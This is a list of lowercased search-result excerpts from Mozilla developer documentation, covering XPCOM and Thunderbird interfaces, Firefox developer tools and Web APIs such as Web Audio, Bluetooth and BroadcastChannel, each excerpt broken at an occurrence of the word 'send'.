send commands to the ui, such as clearmsgpane. statusfeedback nsimsgstatusfeedback this allows the backend code to
send status feedback to the ui. msgheadersink nsimsgheadersink this allows the backend code to
send message header information to the ui. transactionmanager nsitransactionmanager this is used to track undo...
nsINavBookmarksService
e folder. you must always ensure each index is unique after a reordering. void setitemindex( in long long aitemid, in long anewindex ); parameters aitemid the id of the item to modify. anewindex the new index. exceptions thrown if anewindex is out of bounds. setitemlastmodified() this method sets the last modified time for an item. note: this is the only method that will
send an itemchanged notification for the property. lastmodified will still be updated in any other method that changes an item property, but we will
send the corresponding itemchanged notification instead. void setitemlastmodified( in long long aitemid, in prtime alastmodified ); parameters aitemid the id of the item whose last modified time is to be set. alastmodified the last modified t...
nsINavHistoryQuery
imereference long one of the constants time_relative_* which indicates how to interpret the corresponding end time value. foldercount long read only: count of folders. hasannotation boolean read only: whether or not, annotation exists. hasbegintime boolean read only: whether or not, the corresponding begin time is considered. hasdomain boolean read only: whether or not, domain exists. ha
sendtime boolean read only: whether or not, the corresponding end time is considered. hassearchterms boolean read only: whether or not, text search terms exists. hasuri boolean read only: whether or not, uri exists. maxvisits long set upper limits for how many times an item has been visited. the default value is "-1", and in that case all items are matched regardless of their visit count. ...
nsIPushService
nsipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscriptions. ...
nsISearchEngine
ve several different request urls, differentiated by response types, this parameter selects a request to add parameters to. if null, will default to "text/html" exceptions thrown ns_error_invalid_arg if name or value are null. ns_error_failure if the search engine is read-only. getsubmission() gets a nsisearchsubmission object that contains information about what to
send to the search engine, including the uri and postdata, if applicable. nsisearchsubmission getsubmission( in astring data, [optional] in astring responsetype, [optional] in astring purpose ); parameters data data to add to the submission object. that is the search terms. responsetype [optional] the mime type that we'd like to receive in response to this submissio...
nsISocketProvider
this flag is set if the proxy is to perform hostname resolution instead of the client. when set, the hostname parameter passed in this interface will be used instead of the address structure passed for a later request. anonymous_connect 1 << 1 when setting this flag, the socket will not apply any credentials when establishing a connection. for example, an ssl connection would not
send any client-certificates if this flag is set. methods native code only!addtosocket this function is called to allow the socket provider to layer a prfiledesc (a file descriptor) on top of another prfiledesc. for example, ssl via a socks proxy. parameters are the same as newsocket() with the exception of afiledesc, which is an input parameter instead. void addtosocket( in long afamily, i...
nsITelemetry
is allowed to record extended data. returns false if the user has not opted into "extended telemetry" on the release channel, when the user has explicitly opted out of telemetry on nightly/aurora/beta or if manually set to false during tests. canrecordreleasedata readonly boolean a flag indicating whether telemetry is recording release data. does not indicate whether telemetry will
send any data. that is governed by user preference and other mechanisms. canrecordprereleasedata readonly boolean a flag indicating whether telemetry is recording pre-release data. does not indicate whether telemetry will
send any data. that is governed by user preference and other mechanisms. histogramsnapshots jsval an object containing a snapshot from all of the c...
nsIThreadPool
xpcom/threads/nsithreadpool.idlscriptable the nsithreadpool interface provides support for thread pools. 1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread. when you
send events to the thread pool, the pool creates a new thread to process the event, up to the number of threads specified by the threadlimit attribute. method overview void shutdown(); attributes attribute type description idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive. once there are more than this many idle worker threads, the idle threa...
nsITransportEventSink
ew void ontransportstatus(in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax); methods ontransportstatus() transport status notification. void ontransportstatus( in nsitransport atransport, in nsresult astatus, in unsigned long long aprogress, in unsigned long long aprogressmax ); parameters atransport the transport
sending this status notification. astatus the transport status (resolvable to a string using nsierrorservice). see nsisockettransport for socket specific status codes and more comments. aprogress the amount of data either read or written depending on the value of the status code. this value is relative to aprogressmax. aprogressmax the maximum amount of data that will be read or written. if unknown, 0...
nsIWebBrowserPersist
8 output only the body section, no html tags. encode_flags_preformatted 16 wrap even if when not doing formatted output (for example for text fields). encode_flags_wrap 32 wrap documents at the specified column. encode_flags_format_flowed 64 for plain text output. output for format flowed (rfc 2646). this is used when converting to text for mail
sending. this differs just slightly but in an important way from normal formatted, and that is that lines are space stuffed. this can't (correctly) be done later. encode_flags_absolute_links 128 convert links to absolute links where possible. encode_flags_encode_w3c_entities 256 attempt to encode entities standardized at w3c (html, mathml, and so on.). this is a catch-all...
nsIWorker
.0) for usage details, see worker and the article using dom workers. method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); attributes attribute type description onmessage nsidomeventlistener an object to receive notifications when messages are received on the worker's message port. methods postmessage() used to allow the worker to
send a message back to the web application that created it. void postmessage( in domstring amessage, in nsiworkermessageport amessageport optional ); parameters amessage the message the worker wishes to post back to its creator. amessageport a message port on which to post the message; if not specified, the default message port is used. ...
nsMsgSearchAttrib
ine the order that the * attributes display in the filter editor. ...
nsMsgMessageFlags
t 're: ' should be added to the head of the subject to get the proper subject. elided 0x00000020 indicates whether or not the thread rooted at this message is open or closed in the ui. offline 0x00000080 indicates whether or not we have this message in the offline cache. watched 0x00000100 indicates whether or not this thread is being watched.
senderauthed 0x00000200 partial 0x00000400 indicates whether or not the body we have is a complete message. queued 0x00000800 indicates whether or not the message is queued to be delivered. forwarded 0x00001000 indicates whether or not the message has been forwarded. priorities 0x0000e000 the set of bits that indicate the priority. ...
Setting HTTP request headers
eworks. in particular, to get the nsihttpchannel just before the http request is made we need to observe the "http-on-modify-request" topic. (and yes, "http-on-modify-request" is a string.) note: there are many topics, besides just "http-on-modify-request", that you can get notifications about, for example "http-on-examine-response" and "xpcom-shutdown". you can also make up your own topics and
send out your own notifications. for more information about notifications framework and a list of common notification topics, see observer notifications. observers to get notified about some topic (like "http-on-modify-request") we need to create an observer. an observer is a component implementing nsiobserver interface. and once the observer is registered for a topic, it will get notified about the...
Weak reference
e is part of a cycle of owning references (e.g., if the referenced object also holds a owning reference back to you), then none of the objects in the cycle can be reclaimed without taking special measures. there are less severe situations. a naive design for an observer/observable relationship would require the observable to hold a owning reference to the observer. after all, the observable must
send messages to each observer, notifying it of the appropriate state changes. to do that, it will call a method on the observer, so it needs a pointer. and the call would fail if the pointer were allowed to dangle, therefore, the pointer should be a owning reference. this design, however, is flawed, as it holds the observer in existence longer than would otherwise be necessary. the observer may only ...
XPCOM
orms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform. often, compiled xpcom components are called 'binary' or 'native'.xpcom category image-sniffing-servicesin versions of firefox prior to firefox 3, extensions could add decoders for new image types. however, such decoders relied on servers
sending correct mime types; images sent with incorrect mime types would not be correctly displayed.xpcom gluethe xpcom glue is a static library which component developers and embedders can link against. it allows developers to link only against the frozen xpcom method symbols and maintain compatibility with multiple versions of xpcom.xpcom guidethese articles provide tutorials and usage documentation ...
Address book sync client design
the local database and update the // sync mapping table. if the crc has changed, mark the entry modified, if // it's a new record, add an entry and mark it new, if a record was deleted, // mark the entry deleted, etc. // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to
send to the server. mark any modified or new record with the ret (retry) // flag. // // step 3: // get the response back from the server. since the communication was successful, // clear the ret (retry) flag on all records. then apply the server changes back // to the local database (updating the crc's in the process). save the changes to // the local database, clear the sync mapping table ...
Autoconfiguration in Thunderbird
degree) includes mail account autoconfiguration functionality. the goal of autoconfiguration is to make it very easy for users to configure the connection of thunderbird to their email servers. in many cases, people should be able to download and install thunderbird, enter their real name, email address and password in the account setup wizard and have a fully functioning mail client and get and
send their mail as securely as possible. see also: for instructions for users, see automatic account configuration on the thunderbird knowledge base. the configuration file description and definition the original project page on the mozilla wiki for background, design, implementation and project details this document describes how autoconfiguration in thunderbird works, and what to do to allow...
Buddy icons in mail
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2003. seth spitzer mozilla is now able to show icons in the message header area and the addressbook card pane. for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for
sender email address>.gif when trying to determine the screenname for the
sender, we search the addressbook that we are using for collection. (see this document for info about that.) for the addressbook card pane, the icon will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for card>.gif if aim.session.screenname is not set, the icon will not appear. ...
Events
there are a lot of events that can be fired in mail code. some of these are standard events, such as those created by the dom. others are internal to gecko or other parts of mozilla application code. this reference will help you track those events down and learn how to use them. composition event name event type fired when... compose-
send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a cached compose window has been reopened. no load event is fired in this case. folders event name event type fired when... msgcreatedbview onactivecreatedview ...
LDAP Support
to both thunderbird and the seamonkey application suite. mail compose typedown in mail compose, when typing a partial mail address, a typedown window appears listing possible matches against address books and ldap directories. for large companies, there may be a large number of users in the directory with the same name. in such a scenario, it may be hard to tell which person you really want to
send the message to. in thunderbird, the type down window can be customized to show arbitrary ldap fields. this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for n...
MailNews fakeserver
ing fakeserver in qa testing debug output from fakeservers it is possible to get the fakeservers to dump to the console the commands they have sent and received. to enable/disable debugging, call setdebuglevel on your nsmailserver instance with one of the following options: const fsdebugnone = 0; // dump nothing const fsdebugrecv = 1; // dump just the received commands const fsdebugrecv
send = 2; // dump received + sent commands, no data const fsdebugall = 3; // dump everything debugging is set to "none" by default. specific fakeserver guidelines pop imap smtp nntp nntpd.js defines a few different classes of nntp servers: compliance for rfc 977, rfc 2980, and rfc 3977, as well as a giganews and an inn server. (full 2980 and 3977 compliance as well as inn is not yet...
Using MAPI with Thunderbird's Windows 7 developer builds
the thunderbird installer sets the installed build as the default mapi/mail client. if you want to set a debug build as the default mail client, you need configure it manually: in the objdir/mozilla/dist/bin directory, copy mozmapi32.dll to mozmapi32_inuse.dll and mapiproxy to mapiproxy_inuse.dll. ...
Using the Multiple Accounts API
ately from all the other account management stuff. a user's smtp servers are not actually dependant on any of the account settings. the only thing that determines which smtp server a user should use is their physical connection to the internet. for instance, if a user is connected to the internet through myisp, inc. then he or she must use myisp's smtp server, no matter what identity they will be
sending mail with. the smtp server list is accessable through the smtp service. you can add (and eventually delete) servers and have a default server. smtp servers are stored in your preferences in a manner resembling the accounts: user_pref("mail.smtpservers", "server1,server2"); user_pref("mail.smtpserver.server1.hostname", "smtp.myisp.com"); user_pref("mail.smtpserver.server2.hostname", "smtp.my...
WebIDL bindings
in bindings.conf. the value of the annotation is the c++ class to use as the parent for js-implemented descendants; if defaultimpl is not specified, the nativetype will be used. for example, consider this interface that we wish to implement in javascript: [jsimplementation="some-contract"] interface myeventtarget : eventtarget { attribute eventhandler onmyevent; void dispatchtheevent(); //
sends a "myevent" event to this eventtarget } the implementation would look something like this, ignoring most of the xpcom boilerplate: function myeventtargetimpl() { } myeventtargetimpl.prototype = { // qi to nsidomglobalpropertyinitializer so we get init() called on us. queryinterface: xpcomutils.generateqi([ci.nsidomglobalpropertyinitializer]), init: function(contentwindow) { this.co...
Add to iPhoto
create the corresponding cfurl object by calling cfurlcreatewithstring(). release the string using cfrelease(), since we're done with it. call cfurlgetfsref() to fill out the fsref structure to reference the same file as the cfurl. if that fails, we display an error; otherwise, we cast the cfmutablearrayref into a cfarrayref by calling ctypes.cast(), then call lsopenurlswithrole() to actually
send the image to iphoto. after doing that, we clean up after ourselves by releasing the cfurl object and the array, then shutting down the three libraries we used. downloading the image the downloadimage() method handles actually downloading the image to a temporary file; it then returns the local pathname of the downloaded file to the caller. downloadimage: function(src) { // get the file name...
Mozilla
nhance mathml support within firefox and other mozilla-based applications. for a quick overview, see the slides for the innovation fairs at mozilla summit 2013. mozilla port blocking on 08/15/2001, cert issued a vulnerability note vu#476267 for a "cross-protocol" scripting attack, known as the html form protocol attack which allowed
sending arbitrary data to most tcp ports. a simple exploit of this hole allows an attacker to
send forged unsigned mail through a mail server behind your firewall: a really nasty hole. mozilla projects mozilla has a number of projects other than firefox itself. many of these are components of firefox or are tools used to create firefox, but may be ...
Drawing and Event Handling - Plugins
port. because the drag manager calls both handlers no matter where the cursor is, the browser does not show the drag highlight when the cursor is over an instance rectangle. also, the browser does nothing when a drop occurs within an instance rectangle. the plug-in can then show the drag highlight and handle drops when they occur within the instance rectangle. the browser is also responsible for
sending the plug-in all events targeted to an instance, such as mouse clicks when the cursor is within the instance rectangle or suspend and resume events when the application is switched in and out. events are sent to the plug-in with a call to npp_handleevent; for a complete list of event types, see the reference entry for npevent. windows on windows, the browser registers a window class and creat...
Plug-in Basics - Plugins
hidden. using the class attribute and the css block above, you can simulate the behavior of the hidden plug-in in the embed element: <object data="audiplay.aiff" type="audio/x-aiff" class="hiddenobject"></object> a full-page plug-in is a visible plug-in that is not part of an html page. the server looks for the media (mime) type registered by a plug-in, based on the file extension, and starts
sending the file to the browser. gecko looks up the mime type and loads the appropriate plug-in if it finds a plug-in registered to that type. this type of plug-in completely fills the web page. full-page plug-ins are commonly used for document viewers, such as adobe acrobat. note: the browser does not display scroll bars automatically for a full-page plug-in. the plug-in must draw its own scroll ba...
Shader Editor - Firefox Developer Tools
each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. these shaders are written in opengl shading language, or glsl. in webgl they can be included in a page in several ways: as text hardcoded in javascript strings, as separate files included using <script> tags, or retrieved from the server as plain text. javascript code running in the page then
sends them for compilation using the webgl apis, and they're executed on the device's gpu when needed. with the shader editor, you can examine and edit the source of the vertex and fragment shaders. here's another screencast, showing how you can use the shader editor for complex applications (in this case, the unreal engine demo): opening the shader editor the shader editor is disabled by defaul...
Tips - Firefox Developer Tools
sive design mode. click the import button () to import a style sheet or the create button () to create a new one. click the options button in the style sheet pane and click "show original sources" to toggle the display of css preprocessor files. network monitor click the request summary to compare performance of cache vs. no-cache page loading. when a request is selected click "edit and re
send" to modify its headers and
send it again. check "enable persistent logs" in the settings to keep requests from before even after navigation. hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request. check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues. storage inspector ...
Console messages - Firefox Developer Tools
n to complete. clicking the response code takes you to the reference page for that code. the context menu for network messages includes a few extra items in addition the globally-available ones: copy link location acts as you would expect, copying the url into the clipboard open in network panel switches context to the network tab, selects the request and shows you the details re
send request
sends the network request again. open url in new tab opens the url in a new browser tab. if the resource is an image, the image will be opened in a new tab. if the resource is a stylesheet, you will see the css rules, etc. js javascript errors contain a "learn more" link that takes you to the javascript error reference containing additional advice for fixing issues: source map...
AbortSignal: abort event - Web APIs
is aborted, i.e. using abortcontroller.abort(). bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and
send an appropriate log to the console. you can use the abort event in an addeventlistener method: var controller = new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { ...
AbortSignal.aborted - Web APIs
ates whether the dom request(s) the signal is communicating with is/are aborted (true) or not (false). syntax var isaborted = abortsignal.aborted; value a boolean examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the aborted property, and
send an appropriate log to the console. var controller = new abortcontroller(); var signal = controller.signal; // ... signal.aborted ? console.log('request has been aborted') : console.log('request not aborted'); specifications specification status comment domthe definition of 'onabort' in that specification. living standard initial definition ...
AbortSignal.onabort - Web APIs
invoked when an abort event fires, i.e. when the fetch request(s) the signal is communicating with is/are aborted. syntax abortsignal.onabort = function() { ... }; examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the onabort property, and
send an appropriate log to the console. var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification. living standard initial definition ...
AbstractWorker - Web APIs
ods the abstractworker interface doesn't implement or inherit any methods. example as an abstract interface, you won't directly use abstractworker in your code. instead, you'll interact with either worker or sharedworker, both of which inherit the properties of abstractworker. this code snippet demonstrates the creation of a new worker using the worker() constructor; it also shows how to then
send a message to the worker. var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded from the file "worker.js". this code assumes that there's an <input> element represented by first; an event handler for the change event is established so that when the user c...
AnalyserNode.AnalyserNode() - Web APIs
specifications specification status comment web audio apithe definition of 'analysernode() constructor' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanalysernode() constructorchrome full support 55edge full support ≤79firefox full support ...
AudioBuffer() - Web APIs
the buffer. specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffer() constructorchrome full support 55notes full support 55notes notes the context parameter was supported up until version...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
. specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobuffersourcenode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were...
AudioBufferSourceNode.loopEnd - Web APIs
loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopend' in t...
AudioBufferSourceNode.loopStart - Web APIs
loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopstart' in...
AudioContext.baseLatency - Web APIs
cy); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbaselatency experimentalchrome full support 58edge full support ≤79firefox full support ...
AudioContext.getOutputTimestamp() - Web APIs
); } specifications specification status comment web audio apithe definition of 'getoutputtimestamp()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetoutputtimestamp experimentalchrome full support 57edge full support ≤79firefox full support ...
AudioNode.connect() - Web APIs
ps back through the same nodes repeatedly) and there are no delaynodes in the cycle to prevent the resulting waveform from getting stuck constructing the same audio frame indefinitely. examples connecting to an audio input the most obvious use of the connect() method is to direct the audio output from one node into the audio input of another node for further processing. for example, you might
send the audio from a mediaelementaudiosourcenode—that is, the audio from an html5 media element such as <audio>—through a band pass filter implemented using a biquadfilternode to reduce noise before then
sending the audio along to the speakers. this example creates an oscillator, then links it to a gain node, so that the gain node controls the volume of the oscillator node. var audiocontext = w...
AudioParam.cancelAndHoldAtTime() - Web APIs
on. specifications specification status comment web audio apithe definition of 'cancelandholdattime()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelandholdattimechrome full support 57 full support 57 no support ? — 56alternate name alternate name ...
AudioProcessingEvent - Web APIs
nction getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.
send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (...
AudioWorkletNode.port - Web APIs
g-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') //
send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second. specifications specification status ...
AudioWorkletProcessor.port - Web APIs
g-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') //
send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second. specifications specification status ...
AuthenticatorAssertionResponse.authenticatorData - Web APIs
of extensions. examples var options = { challenge: new uint8array(26), // will be another value, provided by the relying party server timeout: 60000 }; navigator.credentials.get({ publickey: options }) .then(function (assertionpkcred) { var authenticatordata = assertionpkcred.response.authenticatordata; // maybe try to convert the authenticatordata to see what's inside //
send response and client extensions to the server so that it can // go on with the authentication }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatordata' in that specification. recommendation initial definition. ...
BasicCardResponse.expiryMonth - Web APIs
ct } } specifications specification status comment basic card paymentthe definition of 'expirymonth' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirymonthchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled ...
BasicCardResponse.expiryYear - Web APIs
ect } } specifications specification status comment basic card paymentthe definition of 'expiryyear' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpiryyearchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled ...
BasicCardResponse - Web APIs
} specifications specification status comment basic card paymentthe definition of 'basiccardresponse' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbasiccardresponsechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled ...
BiquadFilterNode() - Web APIs
stance. specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbiquadfilternode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not s...
BlobEvent.timecode - Web APIs
mestamp. specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimecode experimentalchrome full support 57edge full support ≤79firefox ? ie no suppo...
BluetoothCharacteristicProperties - Web APIs
specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothcharacteristicproperties experimentalchrome full support 56notes full support 56notes notes chromeos and macos only. ...
characteristic - Web APIs
attcharacteristic. specifications specification status comment web bluetooththe definition of 'characteristic' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcharacteristic experimentalchrome full support 57notes full support 57notes notes macos only. full support ...
readValue() - Web APIs
es to an arraybuffer. specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadvalue experimentalchrome full support 57notes full support 57notes notes macos only. full support ...
uuid - Web APIs
iptor.uuid returns a uuid. specifications specification status comment web bluetooththe definition of 'uuid' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetuuid experimentalchrome full support 57notes full support 57notes notes macos only. full support ...
value - Web APIs
c returns an arraybuffer. specifications specification status comment web bluetooththe definition of 'value' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalue experimentalchrome full support 57notes full support 57notes notes macos only. full support ...
writeValue() - Web APIs
returns a promise. specifications specification status comment web bluetooththe definition of 'writevalue()' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritevalue experimentalchrome full support 57notes full support 57notes notes macos only. full support ...
BluetoothRemoteGATTDescriptor - Web APIs
se. specifications specification status comment web bluetooththe definition of 'bluetoothremotegattdescriptor' in that specification. draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothremotegattdescriptor experimentalchrome full support 57notes full support 57notes notes macos only. full su...
Body.formData() - Web APIs
the formdata() method of the body mixin takes a response stream and reads it to completion. it returns a promise that resolves with a formdata object. note: this is mainly relevant to service workers. if a user submits a form and a service worker intercepts the request, you could for example call formdata() on it to obtain a key-value map, modify some fields, then
send the form onwards to the server (or use it locally). syntax response.formdata() .then(function(formdata) { // do something with your formdata }); parameters none. return value a promise that resolves with a formdata object. example tbd. specifications specification status comment fetchthe definition of 'formdata()' in that specification. living standard ...
BroadcastChannel.postMessage() - Web APIs
the message is transmitted as a message event targeted at each broadcastchannel bound to the channel. note: this feature is available in web workers. syntax var str = channel.postmessage(object); specifications specification status comment html living standardthe definition of 'broadcastchannel.postmessage()' in that specification. ...
BroadcastChannel - Web APIs
e an eventhandler property that specifies the function to execute when a message event is fired on this object. broadcastchannel.onmessageerror an eventhandler called when a messageevent of type messageerror is fired—that is, when it receives a message that cannot be deserialized. methods this interface also inherits methods from its parent, eventtarget. broadcastchannel.postmessage()
sends the message, of any type of object, to each broadcastchannel object listening to the same channel. broadcastchannel.close() closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected. events message fired when when a message arrives on the channel. also available via the onmessage property. messageerror fired when a messag...
Broadcast Channel API - Web APIs
f them. broadcast channel interface creating or joining a channel a client joins a broadcast channel by creating a broadcastchannel object. its constructor takes one single parameter: the name of the channel. if it is the first to connect to that broadcast channel name, the underlying channel is created. // connection to a broadcast channel const bc = new broadcastchannel('test_channel');
sending a message it is enough to call the postmessage() method on the created broadcastchannel object, which takes any object as an argument. an example string message: // example of
sending of a very simple message bc.postmessage('this is a test message.'); any kind of object can be sent, not just a domstring. the api doesn't associate any semantics to messages, so it is up to the code to know ...
